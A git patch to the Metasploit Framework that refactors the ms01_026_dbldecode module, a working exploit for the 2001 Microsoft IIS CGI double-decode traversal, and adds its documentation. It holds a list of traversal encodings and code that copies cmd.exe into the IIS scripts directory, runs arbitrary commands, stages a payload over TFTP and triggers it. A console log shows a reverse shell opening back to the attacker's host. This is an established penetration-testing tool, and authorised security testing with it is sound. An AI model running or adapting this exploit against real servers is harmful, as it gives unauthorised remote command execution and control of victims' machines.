From 04aa05faa2a07fdfb77b7e35e8b99d5d4dcd005f Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 3 Jul 2022 18:22:55 +1000 Subject: [PATCH] ms01_026_dbldecode: Use HttpClient; remove meterpreter code; fix stager --- .../exploit/windows/iis/ms01_026_dbldecode.md | 71 +++++ .../windows/iis/ms01_026_dbldecode.rb | 300 ++++++++---------- 2 files changed, 204 insertions(+), 167 deletions(-) create mode 100644 documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md diff --git a/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md b/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md new file mode 100644 index 0000000000..0777d52cc5 --- /dev/null +++ b/documentation/modules/exploit/windows/iis/ms01_026_dbldecode.md @@ -0,0 +1,71 @@ +## Vulnerable Application + +This module will execute an arbitrary payload on a Microsoft IIS installation +that is vulnerable to the CGI double-decode vulnerability of 2001. + +This module has been tested successfully on: + +* Windows 2000 Professional (SP0) (EN) +* Windows 2000 Professional (SP1) (AR) +* Windows 2000 Professional (SP1) (CZ) +* Windows 2000 Server (SP0) (FR) +* Windows 2000 Server (SP1) (EN) +* Windows 2000 Server (SP1) (SE) + +Note: This module will leave a Metasploit payload in the IIS scripts directory. + +## Verification Steps + +1. `use exploit/windows/iis/ms01_026_dbldecode` +1. `set RHOSTS [IP]` +1. `set PAYLOAD windows/shell/reverse_tcp` +1. `set LHOST [IP]` +1. `run` + +## Options + +### WINDIR + +The Windows directory name of the target host. +The directory name will be detected automatically if not set. + +### DEPTH + +Traversal depth to reach the drive root (default: `2`) + +## Scenarios + +### Windows 2000 Server (SP0) (FR) + +``` +msf6 > use exploit/windows/iis/ms01_026_dbldecode +[*] Using configured payload windows/shell/reverse_tcp +msf6 exploit(windows/iis/ms01_026_dbldecode) > set rhosts 192.168.200.175 +rhosts => 192.168.200.175 +msf6 exploit(windows/iis/ms01_026_dbldecode) > check +[+] 192.168.200.175:80 - The target is vulnerable. Found Windows directory name: winnt +msf6 exploit(windows/iis/ms01_026_dbldecode) > set lhost 192.168.200.130 +lhost => 192.168.200.130 +msf6 exploit(windows/iis/ms01_026_dbldecode) > run + +[*] Started reverse TCP handler on 192.168.200.130:4444 +[*] Using Windows directory "winnt" +[*] Copying "\winnt\system32\cmd.exe" to the IIS scripts directory as "EcFJ.exe"... +[*] Command Stager progress - 66.67% done (40/60 bytes) +[*] Command Stager progress - 100.00% done (60/60 bytes) +[*] Triggering payload "qQErEZeB.exe" via a direct request... +[*] Encoded stage with x86/shikata_ga_nai +[*] Sending encoded stage (267 bytes) to 192.168.200.175 +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.175:1090) at 2022-06-28 08:34:32 -0400 +[!] This exploit may require manual cleanup of 'qQErEZeB.exe' on the target + + +Shell Banner: +Microsoft Windows 2000 [Version 5.00.2195] +----- + + +c:\inetpub\scripts>hostname +hostname +win2k-srv-fr +``` diff --git a/modules/exploits/windows/iis/ms01_026_dbldecode.rb b/modules/exploits/windows/iis/ms01_026_dbldecode.rb index e3c78b4f03..5b04f9c130 100644 --- a/modules/exploits/windows/iis/ms01_026_dbldecode.rb +++ b/modules/exploits/windows/iis/ms01_026_dbldecode.rb @@ -2,15 +2,13 @@ # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## -require 'rex/exploitation' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking - # NOTE: This cannot be an HttpClient module since the response from the server - # is not a valid HttpResponse - include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Exploit::FileDropper def initialize(info = {}) super( @@ -21,7 +19,16 @@ class MetasploitModule < Msf::Exploit::Remote This module will execute an arbitrary payload on a Microsoft IIS installation that is vulnerable to the CGI double-decode vulnerability of 2001. - NOTE: This module will leave a metasploit payload in the IIS scripts directory. + This module has been tested successfully on: + + Windows 2000 Professional (SP0) (EN); + Windows 2000 Professional (SP1) (AR); + Windows 2000 Professional (SP1) (CZ); + Windows 2000 Server (SP0) (FR); + Windows 2000 Server (SP1) (EN); and + Windows 2000 Server (SP1) (SE). + + Note: This module will leave a Metasploit payload exe in the IIS scripts directory. }, 'Author' => [ 'jduck' ], 'License' => MSF_LICENSE, @@ -34,27 +41,41 @@ class MetasploitModule < Msf::Exploit::Remote ], 'Platform' => 'win', 'Targets' => [ - [ 'Automatic', {} ] + [ + 'Windows (Dropper)', + { + 'Platform' => 'win', + 'Arch' => [ARCH_X86], + 'DefaultOptions' => { 'PAYLOAD' => 'windows/shell/reverse_tcp' }, + 'Type' => :win_dropper + } + ], + [ + 'Windows (Command)', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/generic' }, + 'Type' => :win_command + } + ] ], 'CmdStagerFlavor' => 'tftp', + 'Notes' => { + 'Stability' => [ CRASH_SAFE ], + 'Reliability' => [ REPEATABLE_SESSION ], + 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK ] + }, 'DefaultTarget' => 0, - 'DisclosureDate' => '2001-05-15', - 'Compat' => { - 'Meterpreter' => { - 'Commands' => %w[ - stdapi_fs_delete_file - stdapi_sys_process_execute - ] - } - } + 'DisclosureDate' => '2001-05-15' ) ) register_options( [ Opt::RPORT(80), - OptString.new('WINDIR', [ false, 'The windows directory of the target host', nil ]), - OptString.new('CMD', [ false, 'Execute this command instead of using command stager', nil ]) + OptString.new('WINDIR', [ false, 'The Windows directory name of the target host', nil ]), + OptInt.new('DEPTH', [ true, 'Traversal depth to reach the drive root', 2 ]) ] ) @@ -62,181 +83,126 @@ class MetasploitModule < Msf::Exploit::Remote end def dotdotslash - possibilities = [ - "..%255c", - "..%%35c", - "..%%35%63", - "..%25%35%63", - ".%252e/", - "%252e./", - "%%32%65./", - ".%%32%65/", - ".%25%32%65/", - "%25%32%65./" - ] - possibilities[rand(possibilities.length)] + [ + '..%255c', + '..%%35c', + '..%%35%63', + '..%25%35%63', + '.%252e/', + '%252e./', + '%%32%65./', + '.%%32%65/', + '.%25%32%65/', + '%25%32%65./' + ].sample end - def mini_http_request(opts, timeout = 5) - connect - req = '' - req << opts['method'] - req << ' ' - req << opts['uri'] - req << ' ' - req << "HTTP/1.0\r\n" - req << "Host: #{datastore['RHOST']}\r\n" - req << "\r\n" - sock.put(req) + # Detect the correct Windows directory name. + # Unfortunately, the IIS scripts directory must + # be located on the same drive as %SystemRoot%. + def detect_windows_directory + win_dirs = %w[winnt windows] + matches = [ + 'Directory of', + '\\inetpub\\', + "\\scripts\r\n" + ] - # This isn't exactly awesome, but it seems to work.. - begin - headers = sock.get_once(-1, timeout) || '' - body = sock.get_once(-1, timeout) || '' - rescue ::EOFError - # nothing + win_dirs.each do |dir| + res = execute_command('dir', windir: dir) + next unless res + next unless res.code == 200 + next unless res.body + + matches.each do |m| + return dir if res.body.to_s.include?(m) + end end - disconnect - [headers, body] - end - - def detect_windows_dir() - win_dirs = [ 'winnt', 'windows' ] - win_dirs.each { |dir| - res = execute_command("dir", { :windir => dir }) - if (res.kind_of?(Array)) - body = res[1] - if (body and body =~ /Directory of /) - return dir - end - end - } - return nil + nil end def check - @win_dir = detect_windows_dir() - if @win_dir - return Exploit::CheckCode::Vulnerable - end - - Exploit::CheckCode::Safe + win_dir = detect_windows_directory + win_dir ? CheckCode::Vulnerable("Found Windows directory name: #{win_dir}") : CheckCode::Safe end - # - # NOTE: the command executes regardless of whether or not - # a valid response is returned... - # def execute_command(cmd, opts = {}) - # Don't try the start command... - # Using the "start" method doesn't seem to make iis very happy :( - return [nil, nil] if cmd =~ /^start [a-zA-Z]+\.exe$/ + # Don't run the start command... + # We'll execute the payload via IIS later. + # Using the "start" method doesn't seem to make IIS very happy :( + return if cmd.start_with?('start') && cmd.include?('.exe') - print_status("Executing command: #{cmd} (options: #{opts.inspect})") - - uri = '/scripts/' - exe = opts[:cgifname] - if (not exe) - uri << dotdotslash - uri << dotdotslash - uri << (opts[:windir] || @win_dir) - uri << '/system32/cmd.exe' + vprint_status("Executing command: #{cmd}") + if opts[:cgifname] + cmd_path = opts[:cgifname] else - uri << exe + cmd_path = '' + datastore['DEPTH'].times { cmd_path << dotdotslash } + cmd_path << (opts[:windir] || @win_dir) + cmd_path << '/system32/cmd.exe' end - uri << '?/x+/c+' - uri << Rex::Text.uri_encode(cmd) + uri = "/scripts/#{cmd_path}?/x+/c+#{Rex::Text.uri_encode(cmd)}" + send_request_cgi({ 'uri' => uri }, 20) + end - vprint_status("Attempting to execute: #{uri}") - - mini_http_request({ - 'uri' => uri, - 'method' => 'GET', - }, 20) + def copy_cmd_exe_to_scripts_directory + fname = "#{rand_text_alphanumeric(4..7)}.exe" + print_status("Copying \"\\#{@win_dir}\\system32\\cmd.exe\" to the IIS scripts directory as \"#{fname}\"...") + res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{fname}") + fail_with(Failure::Unknown, 'No reply from server') unless res + fname end def exploit - @win_dir = datastore['WINDIR'] - if not @win_dir - # try to detect the windows directory - @win_dir = detect_windows_dir() - if not @win_dir - fail_with(Failure::NoTarget, "Unable to detect the target host windows directory (maybe not vulnerable)!") - end - end - print_status("Using windows directory \"#{@win_dir}\"") + @win_dir = datastore['WINDIR'] || detect_windows_directory - # now copy the file - exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe" - print_status("Copying cmd.exe to the web root as \"#{exe_fname}\"...") - # NOTE: this assumes %SystemRoot% on the same drive as the web scripts directory - # Unfortunately, using %SystemRoot% doesn't seem to work :( - res = execute_command("copy \\#{@win_dir}\\system32\\cmd.exe #{exe_fname}") + fail_with(Failure::NotVulnerable, 'Unable to detect the target host Windows directory (maybe not vulnerable)!') unless @win_dir - if (datastore['CMD']) - res = execute_command(datastore['CMD'], { :cgifname => exe_fname }) - if (res[0]) - print_status("Command output:\n" + res[0]) + print_status("Using Windows directory \"#{@win_dir}\"") + + @cmd_exe_fname = copy_cmd_exe_to_scripts_directory + + case target['Type'] + when :win_command + res = execute_command(payload.encoded, cgifname: @cmd_exe_fname) + + if res && res.body + cmd_res = res.code == 200 ? res.body : res.body.to_s.scan(%r{
(.*?)
}m).flatten.first.to_s + if cmd_res.strip.blank? + print_status('Command returned no output') + else + print_good('Command output:') + print_line(cmd_res) + end else - print_error("No output received") + print_error('No reply') end + when :win_dropper + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager( + temp: '.', + linemax: 1_400, + cgifname: @cmd_exe_fname, + tftphost: tftphost, + # Force noconcat so we can skip the "start" command in execute_command method + noconcat: true, + # We can't delete the payload while it is running, so don't try + nodelete: true + ) - res = execute_command("del #{exe_fname}") - return + exe_payload = stager_instance.payload_exe + register_file_for_cleanup(exe_payload) + + print_status("Triggering payload \"#{exe_payload}\" via a direct request...") + send_request_cgi({ 'uri' => "/scripts/#{exe_payload}" }, 1) end - - # Use the CMD stager to get a payload running - execute_cmdstager({ :temp => '.', :linemax => 1400, :cgifname => exe_fname }) - - # Save these file names for later deletion - @exe_cmd_copy = exe_fname - @exe_payload = stager_instance.payload_exe - - # Just for good measure, we'll make a quick, direct request for the payload - # Using the "start" method doesn't seem to make iis very happy :( - print_status("Triggering the payload via a direct request...") - mini_http_request({ 'uri' => '/scripts/' + stager_instance.payload_exe, 'method' => 'GET' }, 1) - - handler end - # - # The following handles deleting the copied cmd.exe and payload exe! - # - def on_new_session(client) - if client.type != "meterpreter" - print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.") - print_error("The copied exe and the payload exe must be removed manually.") - return - end - - return if not @exe_cmd_copy - - # stdapi must be loaded before we can use fs.file - client.core.use("stdapi") if not client.ext.aliases.include?("stdapi") - - # Delete the copied CMD.exe - print_status("Deleting copy of CMD.exe \"#{@exe_cmd_copy}\" ...") - client.fs.file.rm(@exe_cmd_copy) - - # Migrate so that we can delete the payload exe - client.console.run_single("run migrate -f") - - # Delete the payload exe - return if not @exe_payload - - delete_me_too = "C:\\inetpub\\scripts\\" + @exe_payload - - print_status("Changing permissions on #{delete_me_too} ...") - cmd = "C:\\#{@win_dir}\\system32\\attrib.exe -r -h -s " + delete_me_too - client.sys.process.execute(cmd, nil, { 'Hidden' => true }) - - print_warning("Deleting #{delete_me_too} ...") - begin - client.fs.file.rm(delete_me_too) - rescue ::Exception => e - print_error("Exception: #{e.inspect}") - end + # Remove the copied cmd.exe from the IIS scripts directory + def cleanup + execute_command("del #{@cmd_exe_fname}") if @cmd_exe_fname + ensure + super end end